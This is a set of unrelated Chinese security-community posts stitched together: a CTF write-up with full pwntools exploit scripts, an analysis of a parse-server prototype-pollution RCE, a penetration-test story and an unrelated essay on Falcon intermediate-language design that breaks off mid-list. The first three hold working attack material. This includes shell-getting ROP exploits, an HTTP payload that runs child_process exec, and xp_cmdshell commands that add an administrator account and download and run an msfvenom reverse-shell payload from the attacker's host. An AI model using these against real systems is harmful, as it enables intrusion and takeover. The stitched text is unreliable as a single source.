捕获到一份受干扰的信号文件，万幸的是被干扰的部分只是数据校验部位，必须要根据仅剩的信号还原出全部数据（十六进制）
hint1:<http://ingelect.esy.es/pdf/FXTH871x7.pdf> 20959185b1115208(射频文件解码后的数据)
<http://ingelect.esy.es/pdf/FXTH871x7.pdf> 20959185b1115208(data of decoded
spectrum file)
hint2:We have updated the challenge information, add English description as
below: We captured a disturbed signal file, fortunately, only the checksum has
been disturbed, you should recover all the data according to the remaining
signals(hex).
在github上搜索FXTH871x7，找到这个：
猜测校验位置是crc
计算出crc16
拼接到数据后面得到flag
> flag:20959185b1115208133f
# AWD
## pubg
漏洞其实挺明显的，首先gou那个函数 有一个格式化字符串漏洞，可以leak一些地址，利用%x%x%x%lx能leak到一个ld.so附近的地址
在gou函数那里，它还会让你猜3个byte的随机数，如果强行爆破的话是不行的，因为概率是1/(256 _256_ 256)
但是格式化字符串漏洞%x%x，第二个leak出来的东西是猜中的数量，所以利用这个就可以爆破出来，爆破最多256*3次就行了
爆破完之后到gang那个函数有一个任意读，利用上面leak的ld.so附近的地址，可以leak出canary，因为canary会在那附近存一下
任意读完之后，有一个栈溢出，利用栈溢出就可以进行rop来get shell
这里还有一个坑点就是，本地ld.so和libc.so的偏移和服务器的不同，后面强行爆破了一波
from pwn import *
import re
debug=1
#context.log_level='debug'
e=ELF('./libc-2.23.so')
if debug:
p=process('./pubg')
else:
p=remote('192.168.20.11',20001)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
def choose(x,s):
ru('> ')
sl(str(x))
ru('which one is your favorite?')
sl(str(s))
ru('> ')
def gou(x,con=False):
sl('2')
ru('Maybe you can get an airdrop. Tell me your position:\n')
sl(x)
if not con:
data=ru(' has')[:-4]
ru('> ')
return data
else:
ru('> ')
def gang(x):
sl('1')
ru('Winner winner,chicken dinner. The whole memory is yours, now pick one chicken:')
sl(str(x))
ru('The ')
cookie=ru(' ch')[:-3]
cookie=cookie[:15]
payload=cyclic(40)+'\x00'+cookie+p64(base+0x4526a)+'\x00'*0x100
sl(payload)
def brute():
secert=''
for i in range(3):
for q in range(1,256):
if chr(q)=='$' or chr(q)=='*' or chr(q)=='n':
continue
if gou(secert+chr(q)+'%x%x')[i+3]==str(i+1):
secert+=chr(q)
break
return secert
choose(1,1)
libc=int(gou('%x%x%x%lx')[5:],16)
tbase=libc-0x5D3700
if debug:
base=tbase
else:
base=libc-0x5D3700-0x4000-0x16000
secert=brute()+'\00'
context.log_level='debug'
gou(secert,True)
gang(tbase+0x5D3728+1)
ru('icken is on your plate, enjoy it~')
p.sendline('cat flag')
flag=ru('\n')
p.interactive()
## randbattle
这题相对简单点，所以就做了这题，不过这题出得有点恶心，能搅屎..........
首先题目有3个选项
1. Double Dice Game
2. Triple Dice Game
3. Combination Game
首先先来说下第一个功能
**Double Dice Game**
它会rand三个数，然后让你去猜，假如说你没进第三个功能，那么一开始就是srand(0)的，因此这三个数是固定的
如果三个数都成功猜中，它会让你输入5byte，但实际是4byte的密码，然后读取flag，用输入的密码加密，加密的方法是tea加密
加密完之后，它会判断是否存在一个 /tmp/qualiii 这个文件，如果存在的话就会返回上一层
不存在的话，它会创建并将flag写入到其中，然后sleep，sleep完之后，如果文件还存在的话，就会打印加密后的flag
**Triple Dice Game**
这里分为3个部分
第一个函数会首先srand(time(0)) 然后再rand了三个字母，第二个函数打印这三个字母，然后第三个函数是读取的，读取然后之后判断输入是否正确
如果正确的话，会进到最后一个函数
这里还是让你猜3个数，猜中之后
能删除 /tmp/qualiii这个文件
**Combination Game**
前面是猜字母加猜数字
猜中之后，能打印出/tmp/qualiii的内容
下面是一个简单的payload，没人竞争的时候能读出flag，至于怎么心机的利用这几个功能去搅屎和反搅屎，这里就不多说了.......（策略太多了
from pwn import *
import ctypes
LIBC = ctypes.cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc-2.23.so')
debug=1
context.log_level='debug'
if debug:
p=process('./randbattle')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('192.168.20.13',20003)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
def sl(x):
p.sendline(x)
import sys
from ctypes import *
def decipher(v, k):
y = c_uint32(v[0])
z = c_uint32(v[1])
sum = c_uint32(0xc6ef3720)
delta = 0x9e3779b9
n = 32
w = [0,0]
while(n>0):
z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3]
y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1]
sum.value -= delta
n -= 1
w[0] = y.value
w[1] = z.value
return w
def tdice():
sl('2')
ru('case2')
if debug:
LIBC.srand(LIBC.time(0))
else:
LIBC.srand(LIBC.time(0)-20)
s=[LIBC.rand()%26+65 for _ in range(3)]
w=''
for i in s:
w+=chr(i)
w+='\x00'
se(w)
ru('num:')
sl(str(LIBC.rand()%3))
ru('num:')
sl(str(LIBC.rand()%3))
ru('num:')
sl(str(LIBC.rand()%3))
ru('Your choice:')
def ddice():
sl('1')
ru('num:')
sl(str(LIBC.rand()%6))
ru('num:')
sl(str(LIBC.rand()%6))
ru('Set your pass:')
se('\x00'*5)
ru('Here is your gift:\n')
flag=ru('C U')[:-3]
flag=flag.split(':')
flag=[chr(int(i,16)) for i in flag]
w=''
for i in flag:
w+=i
t=[]
key=[0,0,0,0]
flag=''
for i in range(0,len(w),4):
t.append(u32(w[i:i+4]))
for i in range(0,len(t),2):
q=decipher(t[i:i+2],key)
flag+=p32(q[0])
flag+=p32(q[1])
return flag
tdice()
print(ddice())
p.interactive() | 社区文章 |
**作者：billion@知道创宇404实验室
时间：2023年3月31日**
parse-server公布了一个原型污染的RCE漏洞，看起来同mongodb有关联，so跟进&&分析一下。
## BSON潜在问题
parse-server使用的mongodb依赖包版本是3.6.11，在`node-mongodb-drive <= 3.7.3`
版本时，使用1.x版本的bson依赖处理数据。
根据BSON文档的介绍，存在一种Code类型，可以在反序列化时被执行
跟进BSON的序列化过程
} else if (value['_bsontype'] === 'Code') {
index = serializeCode(
buffer,
key,
value,
index,
checkKeys,
depth,
serializeFunctions,
ignoreUndefined
);
当对象的`_bsontype`键为`Code`时，就会被判断为Code类型，后面就会调用serializeCode函数进行序列化。
在反序列化时，遇到Code类型，会进行eval操作
var isolateEval = function(functionString) {
// Contains the value we are going to set
var value = null;
// Eval the function
eval('value = ' + functionString);
return value;
};
根据官方的文档，可以了解到这本身就是bson内置的功能，不过需要打开evalFunctions参数
翻翻源码可以看到
var deserializeObject = function(buffer, index, options, isArray) {
var evalFunctions = options['evalFunctions'] == null ? false : options['evalFunctions'];
var cacheFunctions = options['cacheFunctions'] == null ? false : options['cacheFunctions'];
var cacheFunctionsCrc32 =
options['cacheFunctionsCrc32'] == null ? false : options['cacheFunctionsCrc32'];
`evalFunctions`参数默认情况下是未定义的，所以可以用原型污染来利用，该特性可以一直利用到bson <= 4.1.0
## Code上传点
mongodb在处理文件时，采用了一种叫[GridFS](https://www.mongodb.com/docs/drivers/node/current/fundamentals/gridfs/#how-gridfs-works)的东西
看图大致可以了解到GridFS在存储文件时，把元数据(metadata)放到`fs.files`表，把文件内容放到`fs.chunks`表
跟进parse-server的源码，可以找到处理metadata的过程
**node_modules/parse-server/lib/Routers/FilesRouter.js**
**node_modules/parse-server/lib/Adapters/Files/GridFSBucketAdapter.js**
输入进来的metadata被直接传入到了数据库中，并没有进行过滤
在测试的时候，发现metadata并没有保存到数据库中
排查了一下middleware，可以找到以下验证
**node_modules/parse-server/lib/middlewares.js**
只有当`fileViaJSON=true`时，才会把fileData拷贝过去
if (fileViaJSON) {
req.fileData = req.body.fileData; // We need to repopulate req.body with a buffer
var base64 = req.body.base64;
req.body = Buffer.from(base64, 'base64');
}
回溯一下
var fileViaJSON = false;
if (!info.appId || !_cache.default.get(info.appId)) {
// See if we can find the app id on the body.
if (req.body instanceof Buffer) {
try {
req.body = JSON.parse(req.body);
} catch (e) {
return invalidRequest(req, res);
}
fileViaJSON = true;
}
当info.appId没有设置的话，就会进入if，fileViaJSON就被设置为true；或者是缓存中没有info.appId的信息
function handleParseHeaders(req, res, next) {
var mount = getMountForRequest(req);
var info = {
appId: req.get('X-Parse-Application-Id'),
向上翻翻代码，就可以看到appId的赋值
后面还会有一处校验
if (req.body && req.body._ApplicationId && _cache.default.get(req.body._ApplicationId) && (!info.masterKey || _cache.default.get(req.body._ApplicationId).masterKey === info.masterKey)) {
info.appId = req.body._ApplicationId;
info.javascriptKey = req.body._JavaScriptKey || '';
} else {
return invalidRequest(req, res);
}
这一步需要保证`_ApplicationId`是正确的appId，否则就退出了
所以认证这里有两种构造方式
**No.1**
让请求头中的`X-Parse-Application-Id`是一个不存在的appid，然后修改body中的`_ApplicationId`是正确的appid
在fs.files表中也能够看到上传的metadata信息
现在Code类型已经上传了，所以在找到一处原型污染，就可以RCE了
**No.2**
不设置`X-Parse-Application-Id`请求头
结果
## 原型污染
根据官方公告，应该在mongo目录下有原型污染，大致上过了一遍代码，感觉下面这一部分可能有
for (var restKey in restUpdate) {
if (restUpdate[restKey] && restUpdate[restKey].__type === 'Relation') {
continue;
}
var out = transformKeyValueForUpdate(className, restKey, restUpdate[restKey], parseFormatSchema); // If the output value is an object with any $ keys, it's an
// operator that needs to be lifted onto the top level update
// object.
if (typeof out.value === 'object' && out.value !== null && out.value.__op) {
mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};
mongoUpdate[out.value.__op][out.key] = out.value.arg;
} else {
mongoUpdate['$set'] = mongoUpdate['$set'] || {};
mongoUpdate['$set'][out.key] = out.value;
}
}
如果能控制`out.value.__op` `out.key` `out.value.arg`，那就可以污染原型的`evalFunctions`了
回溯变量，跟进`transformKeyValueForUpdate()`函数
const transformKeyValueForUpdate = (className, restKey, restValue, parseFormatSchema) => {
// Check if the schema is known since it's a built-in field.
var key = restKey;
var timeField = false;
switch (key) {
case 'objectId':
case '_id':
if (['_GlobalConfig', '_GraphQLConfig'].includes(className)) {
return {
key: key,
value: parseInt(restValue)
};
}
key = '_id';
break;
case 'createdAt':
case '_created_at':
key = '_created_at';
timeField = true;
break;
case 'updatedAt':
case '_updated_at':
key = '_updated_at';
timeField = true;
break;
case 'sessionToken':
case '_session_token':
key = '_session_token';
break;
case 'expiresAt':
case '_expiresAt':
key = 'expiresAt';
timeField = true;
break;
........
case '_rperm':
case '_wperm':
return {
key: key,
value: restValue
};
......
}
返回值大都是`{key, value}`的形式，如果key是case中的任一个，那必然不可能返回`__proto__`，继续看后面的部分
if (parseFormatSchema.fields[key] && parseFormatSchema.fields[key].type === 'Pointer' || !parseFormatSchema.fields[key] && restValue && restValue.__type == 'Pointer') {
key = '_p_' + key;
} // Handle atomic values
var value = transformTopLevelAtom(restValue);
if (value !== CannotTransform) {
if (timeField && typeof value === 'string') {
value = new Date(value);
}
if (restKey.indexOf('.') > 0) {
return {
key,
value: restValue
};
}
return {//这里
key,
value
};
} // Handle arrays
在最终污染的位置`restKey`应该是`evalFunctions`，所以不会进入`if (restKey.indexOf('.') > 0)
{`这个分支，可以通过第二个`return`返回key和value
跟进`transformTopLevelAtom()`函数
function transformTopLevelAtom(atom, field) {
switch (typeof atom) {
.......
case 'object':
if (atom instanceof Date) {
// Technically dates are not rest format, but, it seems pretty
// clear what they should be transformed to, so let's just do it.
return atom;
}
if (atom === null) {
return atom;
} // TODO: check validity harder for the __type-defined types
if (atom.__type == 'Pointer') {
return `${atom.className}$${atom.objectId}`;
}
if (DateCoder.isValidJSON(atom)) {
return DateCoder.JSONToDatabase(atom);
}
if (BytesCoder.isValidJSON(atom)) {
return BytesCoder.JSONToDatabase(atom);
}
if (GeoPointCoder.isValidJSON(atom)) {
return GeoPointCoder.JSONToDatabase(atom);
}
if (PolygonCoder.isValidJSON(atom)) {
return PolygonCoder.JSONToDatabase(atom);
}
if (FileCoder.isValidJSON(atom)) {
return FileCoder.JSONToDatabase(atom);
}
return CannotTransform;
default:
// I don't think typeof can ever let us get here
throw new Parse.Error(Parse.Error.INTERNAL_SERVER_ERROR, `really did not expect value: ${atom}`);
}
}
只需要让函数在前面的`if`中返回，就可以让`value!==CannotTransform`
挑一个`FileCoder`
var FileCoder = {
databaseToJSON(object) {
return {
__type: 'File',
name: object
};
},
isValidDatabaseObject(object) {
return typeof object === 'string';
},
JSONToDatabase(json) {
return json.name;
},
isValidJSON(value) {
return typeof value === 'object' && value !== null && value.__type === 'File';
}
};
汇总变量的变化，可以得到`restUpdate`的形式应该是下面这样
{
"evalFunctions":{
"__type":"File",
"name":{
"__op": "__proto__",
"arg": true
}
}
}
在找了好久之后，大概发现下面这样一条调用链
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoTransform.js transformUpdate()
node_modules/parse-server/lib/Adapters/Storage/Mongo/MongoStorageAdapter.js updateObjectsByQuery()
node_modules/parse-server/lib/Controllers/DatabaseController.js update()
node_modules/parse-server/lib/RestWrite.js runBeforeSaveTrigger()
node_modules/parse-server/lib/RestWrite.js execute()
node_modules/parse-server/lib/RestWrite.js new RestWrite()
node_modules/parse-server/lib/rest.js update()
node_modules/parse-server/lib/Routers/ClassesRouter.js handleUpdate()
在update之前，需要先创建一条数据
触发update
修改成`restUpdate`，debug看看流程对不对
跟进代码可以发现，parse-server会对修改之后的类型做判断，上传的是一个Object类型，修改的是File类型，两者不匹配，所以就退出了。并且update包的类型是根据`__type`和`name`来的
不是很好绕过。只能在create包上做修改
通过调试代码发现，create包也会经过同样的类型判断过程，所以只需要把update包，复制一份到create中就好了
create包
update包
服务端报错信息，应该可以确定，evalFunctions已经污染上了
为了保证不会因为服务端的报错，导致异常退出，这里用条件竞争来做
def triger_unserialize(item):
if item !=400:
requests.get(
url = file_path
)
r3 = requests.put(
url = url + f"/parse/classes/{path}/{objectId}",
data = json.dumps({
"evalFunctions":{
"__type":"File",
"name":{
"__op":"__proto__",
"arg":"1"
}
},
"cheatMode":"false"
}),
headers = {
"X-Parse-Application-Id":f"{appid}",
'Content-Type': 'application/json'
}
)
with concurrent.futures.ThreadPoolExecutor(max_workers=200) as executor:
futures = [executor.submit(triger_unserialize, item) for item in range(0,800)]
## 修复绕过
官方的修复措施是对metadata进行过滤，但是没有修复原型污染，所以，找一个新的可以上传Code类型的位置，就可以RCE
Hooks
创建hook函数
POST /parse/hooks/triggers HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Type: application/json
Content-Length: 254
Connection: close
{
"_ApplicationId":"123",
"className":"cname",
"triggerName":"tname",
"url":{
"_bsontype":"Code",
"code":"delete ({}).__proto__.evalFunctions; require(`child_process`).exec('touch /tmp/123.txt')"
},
"functionName":"f34",
"_MasterKey":"123456"
}
触发
GET /parse/hooks/functions/f34 HTTP/1.1
Host: ip:port
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept: */*
Content-Length: 52
Content-Type: application/json
Connection: close
{
"_ApplicationId":"123",
"_MasterKey":"123456"
}
这种方式得知道MasterKey才能利用，还是有些限制的
在最新版(6.0.0)测试的时候发现，parse-server在5.1.0版本时，就已经把 node-mongodb-drive的版本换成了4.3.1
bson的版本也随之变成了4.6，就没有办法执行eval了
bson5.0中直接删除了该eval操作
https://jira.mongodb.org/browse/NODE-4711
* * * | 社区文章 |
### 0x00 前言
最近在客户现场对内网服务器进行渗透测试，发现了大量的弱口令，本次历程就是从这里开始···
### 0x01 弱口令
对目标ip进行端口扫描，开放端口为80,445,1433,3389
* 访问80端口，只是一个安装成功的界面，扫描一下目录看是否有源码泄露，无果
* 使用nmap脚本对445端口进行扫描，看是否存在ms17010等漏洞，无果
* 使用超级弱口令工具爆破1433，爆破成功，账号密码：sa/sa
* 同时对3389端口进行爆破，无果
因此确定了突破口，使用navicat成功连接sql server数据库
### 0x02 连接3389
翻了一下，没什么数据，尝试拿服务器吧，因此直接新建查询，开启xp_cmdshell:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
然后执行命令
exec master..xp_cmdshell "whoami";
是system权限，和想象中的一样
3389是开着的，不如加个用户直接连接远程桌面吧
加强密码强度，重新添加
exec master..xp_cmdshell "net user test paperpen123. /add";
exec master..xp_cmdshell "net localgroup administrators test /add";
一切都很顺利，开始连接3389，但遗憾的是
是win7，只允许单用户登录，如果挤他的话被发现就不能继续玩耍了，还是放弃连接3389吧
### 0x03 powershell下载木马
我还是把shell弹到本地来吧，方便操作，但是说着简单，该怎么弹呢？
需要强调一点，这里的内网不可以访问外网，因此无法使用命令从外网下载工具
那么可以这样，让他从我的本地服务器下载工具到他的服务器上就可以了
但是要关闭本机防火墙，执行后访问失败才想起来。我的ip是195.1.7.23
**使用kali生成exe木马**
msfvenom -p windows/meterpreter/reverse_tcp LHOST=195.1.7.23 LPORT=8888 -f exe > shell.exe
**本地phpstudy快速搭建环境**
将shell.exe放到网站根目录下，链接为<http://195.1.7.23/shell.exe>
**本地监听8888端口**
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 195.1.7.23
LHOST => 195.1.7.23
msf5 exploit(multi/handler) > set LPORT 8888
LPORT => 8888
msf5 exploit(multi/handler) > exploit
一切准备就绪，就差服务器执行shell.exe文件了。接下来的命令，大多是我朋友Calendula提供的，感谢一下
经测试，powershell是可以执行命令的，因此执行朋友Calendula给的下载命令
exec master..xp_cmdshell "powershell $client = new-object System.Net.WebClient";
exec master..xp_cmdshell "powershell $client.DownloadFile('http://195.1.7.23/shell.exe', 'shell.exe')";
这两句本可以合并到一起执行，但是前面尝试执行其他命令时发现有长度限制
所以拆分进行执行，但是遗憾的是
DownloadFile无法使用，具体因为什么也没搞清楚，因此放弃了这种方法
### 0x04 证书下载
朋友Calendula又给我提供了一种思路，使用certutil.exe，顿时惊呆、闻所未闻，命令如下：
exec master..xp_cmdshell 'certutil.exe -urlcache -split -f "http://195.1.7.23/shell.exe"';
使用dir查看，发现成功下载到了服务器上
### 0x05 反弹成功
就差一步了，输入下面的命令并紧张地点击了执行
exec master..xp_cmdshell 'shell.exe';
卡住了···，又执行了一遍，又卡住了···，又执行了一遍，什么情况···
回到监听界面，打算按下ctrl+c重新监听，结果进了meterpreter界面，原来是它卡住了···
激动地截了张图
查看了一下是不是域环境
没错是的，看来还有很长的路要走。。
### 0x06 结语
这次就写到这吧，如有进展，还会更新。欢迎各位师傅们留言讨论，互相交流，互相学习，共同进步。 | 社区文章 |
# 原文链接
<http://reversing.io/posts/the-il-nop/>
# The Il Nop 随便说点IL
## 什么是IL/IR?
IL是中间语言的缩写，IR则是中间表示的缩写。中间表示是我们在计算机程序从一个状态转移到另外一个状态时的存储方式，比如从源代码到编译后的二进制文件，中间语言是IR使用的一种语言，用来把程序的语义进行编码，以方便之后的分析。其实这两种属于常常混用。
## 休斯顿总部！我们这出现了问题！
我对[Falcon IL](https://github.com/falconre/falcon)有个问题，是时候来做点改变了。
Falcon将二进制代码提升到一种叫做[Falcon
IL](https://docs.rs/falcon/0.3.1/falcon/il/index.html)的中间语言，这时一种比较简单的中间语言，不过倒是囊括了指令语义和控制流。我用Falcon来实现可以在x86和MIPS二进制上用的静态分析和符号执行工具。
在我打算给Falcon IL做点改变之前，我决定写一篇文章讲讲Falcon
IL的历史，我会讲讲我做的一些决定，哪些事情做起来效果比较好，哪些不太好，以及有哪些已经改变了。
## 在最开始的时候
Falcon
IL并不是我第一个实现的IL，[我第一个IL](https://github.com/endeav0r/rnp_see/blob/master/src/instruction.h)几乎完全就是[RREIL](http://www2.in.tum.de/bib/files/sepp11precise.pdf)的复制品，主要包括了独立的指令语义，但是不包括控制流。[Queso](https://github.com/endeav0r/queso)是另外一个二进制分析框架，不过现在放弃维护了，也包括一个它自己的IL，这次的IL会把程序完全提升成控制流图来做静态符号执行。[Binary
Toolkit](https://github.com/endeav0r/bt/)是一个实验性质的动态二进制插桩引擎，也实现了它自己的IL，叫做[Bins](https://github.com/endeav0r/bt/blob/master/src/bt/bins.h)，也就是Binary
toolkit INStruction.
我其实还是比较喜欢Angr的[pyvex](https://github.com/angr/pyvex)里用的VEX IR的，以及一直很流行的[LLVM
IR](https://llvm.org/)，虽然LLVM
IR更多是为了表示源码级的程序而不是二进制级的，[McSema](https://github.com/trailofbits/mcsema)和[s2e](https://github.com/trailofbits/mcsema)找了一些方法来把LLVM
IR用到二进制程序上。我用过[BAP
IL](https://github.com/BinaryAnalysisPlatform/bap)，现在通过我在ForAllSecure的工作，以及我使用BAP
IL的经验，我终于有了对Falcon的一个初步的设计决策。以及和以前一样，我也发现[binary
ninja](https://binary.ninja/)的LLIL和MLIL对于想快速开始工作还是很好的（我自己也几周前写了一个MLIL的工具）。
但是等到我自己来实现Falcon的IL的时候，我发现我还是需要仔细思考一下需要做什么，以及我到底需要什么。
### 通过指令数来看IL
IL可以通过他们实现了多少种类的指令来画个图,那么RREIL可能是最简单的一种了，它用了一种three
form形式的IL，也就是说（几乎）所有的指令都是`OP, DST, LHS, RHS`的形式。比如一个RREIL的加法指令就是`ADD RAX, RAX,
7`。在RREIL里是没有表达式的，只有指令，它的IL本身也被设计为使得指令的数量越少越好。
与其相对的则是VEX IR。Vex ir并不是针对程序分析所设计，Vex
ir被设计为使得[valgrind](http://valgrind.org/)可以快速运行。VEX
IR有上百条指令种类，允许valgrind去针对插桩代码用最优的指令，以求指令执行速度更快。VEX
IR的吸引力来源于它的完全性，以及价格（GPL），虽然要将其调整为便于程序分析的目的可能会比较麻烦，毕竟有上百条指令种类。
在中间的就有BAP IL，LLVM IR和Binary ninja的IL，这些指令都支持表达式，通过表达式我们就可以有`a = b * (c +
7)`，而没有表达式我们就需要: `temp0 = c + 7; a = b +
temp0`，看起来就比较恶心了。在我看来，表达式用起来还是比较简单的，和three
form的IL一样简单，表达式的变形和简化可以一次性写完，并且到处使用。
所有的这些IL，从RREIL到Binary Ninja的IL，都被设计为保存同样的信息，他们只是表达信息的方式不同，比如一种IL可能会用`ADD DST,
LHS, RHS`而另外一种用`DST = (LHS + RHS)`，但是他们的语义还是保持一样的。
所以在一种IL里哪种算是一条指令，以及哪个IL具有最多的指令数呢？我相信一个IL里的一条指令告诉我们数据会怎样被处理和移动，不过我也知道这并不是一个完全的定义。赋值，读取，存储，跳转都是基本指令类型。
以赋值为例，比如`DST = LHS OP RHS`，其中`OP ∈ {ADD, SUB, MUL}`，其实与`ADD DST, LHS, RHS, SUB
DST, LHS, RHS, and MUL DST, LHS,
RHS`一样，他们总归都是赋值，但是一种形式允许我们编码很多种不同的操作类型，而另外一种就需要根据操作来选择不同的赋值指令类型，相对来说我更喜欢前面一种。
对Falcon来说，我想设计一种简单的，基于表达式的IL，我最开始设计出了5种操作类型：
* Assign { dst: Scalar, src: Expression }
* Store { index: Expression, src: Expression }
* Load { dst: Scalar, src: Expression }
* Branch { target: Expression }
* Raise { expr: Expression }
`Expression`一开始包括这些值:
* Scalar(scalar)
* Constant(constant)
* Add(lhs, rhs)
* Sub(lhs, rhs)
* Mul(lhs, rhs)
* Divu(lhs, rhs)
* Modu(lhs, rhs)
* Divs(lhs, rhs)
* Mods(lhs, rhs)
* And(lhs, rhs)
* Or(lhs, rhs)
* Shl(lhs, rhs)
* Shr(lhs, rhs)
* Cmpeq(lhs, rhs)
* Cmpneq(lhs, rhs)
* Cmplts(lhs, rhs)
* Cmpltu(lhs, rhs)
* Trun(bits, rhs)
* Sext(bits, rhs)
* Zext(bits, rhs)
scalar的类型是Scalar，constant的类型是Constant，lhs的类型是Expression，rhs的类型是Expression，bits的类型是usize。
每一个`Instruction`都保存了一个`Operation`，以及一些其他的信息，比如这个`Operation`在解码前的地址，可选的注释，一个在一个`Block`中的位置。`Block`和`Edge`组成了一个`ControlFlowGraph`，从里面我们可以就有`Function`，之后有`Program`。
[这里是Falcon原始IL的引用](https://docs.rs/falcon/0.2.0/falcon/il/index.html)
### 通过可读性看IL
Binary
Ninja是第一个我知道的可读的IL，如果你花点时间在逆向工程里看IL，这种感觉就很像你朋友的侄子上Java导论课上的很费劲，然后他很确定他写的找一个数组里最大值的程序是完整的，但是他还是碰到了一点问题，然后这是他可能从来没被教用空格的300行代码，变量名大概都是`all_the_variablesLookLike_THIS`这样，这个时候你还需要去读这段程序。可以说，非常蛋疼。
RREIL是不可读的，VEX IR也不可读，在我有了一些Binary Ninja IL的经验之后，我想要一个可读的IL，这是我现在Falcon
IL的一些示例：
[ Block: 0x0 ]
804849B 00 exc:32 = (esp:32 + 0x4:32)
804849F 01 temp_0.0:32 = (esp:32 & 0xFFFFFFF0:32)
804849F 02 ZF:1 = (temp_0.0:32 == 0.0:32)
804849F 03 SF:1 = trun.1((temp_0.0:32 >> 0x1F:32))
804849F 04 CF:1 = 0x0:1
804849F 05 OF:1 = 0x0:1
804849F 06 esp:32 = temp_0.0:32
80484A2 07 temp_0.0:32 = [(ecx - 0x4:32)]
80484A2 08 esp:32 = (esp:32 - 0x4)
80484A2 09 [esp:32] = temp_0.0:32
80484A5 0A esp:32 = (esp:32 - 0x4:32)
80484A5 0B [esp:32] = ebp:32
不算太好，但是我还见过更差的，首先虽然这些对于不太熟悉Falcon IL的人来说看起来都很像是赋值，但是其实在里边是有`Assign`, `Store`,
和`Load`的操作类型的。以及由于表达式的存在，我们在这里可以把像`temp_0.0:32 = [(ecx - 0x4:32)]`或者`SF:1 =
trun.1((temp_0.0:32 >> 0x1F:32))`编码到一个操作里，这样我觉得是会提高可读性的。
Falcon IL没有为了可读性变得像Binary Ninja的IL那么长，但是还是做了一些工作让他变得不那么不可读。
### 编码跳转
跳转指令可以分为几种类型，其中比较典型的是直接和间接，一个直接跳转是指目标地址直接被编码在指令里的，比如"跳到地址0x12345"，或者"给当前的指令指针加上-200“，而间接跳转则是指目标地址没有直接被编码进指令，比如”从[0x12345]读取一个值，然后跳到这个值对应的地址“或者”跳到eax寄存器里保存的值这里“。
我们还有”call“和”非call“跳转指令，可能更好描述他们的用词应该是”过程间跳转“和”过程内跳转”。在大多数架构上这个信息都直接在指令助记符里，在x86里我们有`call`（还有`syscall/sysenter`），在mips里有`balr`,
`jalr`和其他`lr`，在有的架构里确实会更奇怪一点，但是这里我们只讨论Falcon支持的架构。
最后跳转操作可以是带条件的，条件跳转就是一些像x86汇编里`je`一样的指令，当一些条件被满足，例如zero标志位为1的时候就进行跳转。
Falcon把过程间跳转，或者说“Call”跳转，以及间接跳转都编码为跳转指令。Falcon把过程内直接跳转，包括带条件的过程内直接跳转隐式的编码为了在控制流图里可选的受保护的边。这意味着`jmp`标签在汇编里存在，但是在Falcon
IL里是没有指令的，而是会建立一条边到跳转目标处。
Falcon IL将过程内间接跳转（大多用于跳转表）简单编码为间接跳转。
## 一开始看起来很美好，之后有了一些改动
一开始Falcon工作的很好。系统调用指令，以及一些其他的有趣的指令都被实现为`Raise`操作，通过这个操作Falcon
IL就可以去符号执行CGC里的一些回文问题，之后我还写了一些静态检测MIPS二进制程序里libc函数传参的一些常见错误。等到我需要lift浮点数指令的时候，我就简单的翻译一个`Raise`操作，这样如果碰到了，我就会停止分析。在我的分析里，我没有碰到这些问题，所以事情看起来都还挺好的。
### Raise变成了Intrinsic
最终，我在符号执行MIPS指令的时候，我碰到了`rdhwr`指令，这条指令在MIPS
ABI里有特殊的处理方法，当指令的`rd`操作数，也就是源操作数是栈指针的时候，TLS的地址被放进了`rt`操作数，也就是目标操作数，这个情况不是我的`Raise`操作可以处理的了。哦豁。
最后我方法是把`Raise`操作换成了更长的，但是也更充分准备的[Intrinsic](https://docs.rs/falcon/0.3.1/falcon/il/struct.Intrinsic.html)操作，这个操作有他自己的操作数，还提供了甚至在操作语义没有完全被记录的时候的分析功能。可能我只是需要知道什么scalar被写进去了？这种情况就被`Intrinsic`所包括。
现在我完全把所有`Raise`出现的地方都换成了intrinsic，然后一切工作正常，我很高兴有这样的一个切换。
### If-Then-Else，或者说ite表达式
状态合并是个问题，[这是一篇文章](https://dslab.epfl.ch/pubs/stateMerging.pdf)，[这是另外一篇](https://users.ece.cmu.edu/~aavgerin/papers/veritesting-icse-2014.pdf)。给出两个具有路径约束的值，例如`A = 1 iff B = 2`和`A = 2 iff B != 2`，我们需要把值合成`A
= 1 iff B = 2 else A =
2`，然后合并状态，在其他东西都没问题的时候的话，但是那就不是这篇文章需要讨论的问题了。看起来相当直接，当然，除非你不知道如何在你的IL里表示if-then-else。
我一开始有意识的在Falcon
IL里剩下了`Ite`表达式，汇编指令里的条件赋值被翻译为了控制流图，条件则被转换为了图里的条件边，赋值指令只在条件保护的边执行为真的时候才会碰到，这样的做法一开始没什么问题，直到后来我要做状态合并。
经过了一段时间，我心软了，现在Falcon有`Ite`表达式了，这个表达式永远不会被lift出来，但是在之后的分析中可以被加上，比如符号执行里的状态合并（或者其他的情况）。
### MIPS，你这个有delay-slot的小恶魔
为了理解这个程序，你需要了解一点关于Falcon IL和MIPS的知识
* MIPS跳转有一个指令[delay-slot](https://en.wikipedia.org/wiki/Delay_slot)，对于一个跳转指令，比如`beq v0, v1, label`，MIPS将会：
1. 计算是否跳转条件为真，以及是否会进行跳转
2. 执行跳转后的指令（以及delay slot）
3. 进行跳转，如果需要跳转的话
* Falcon IL的指令，在lift之后，包含lift之前的地址，主要是被翻译器用来计算CFG的边，以及分析找到间接跳转之后的目标
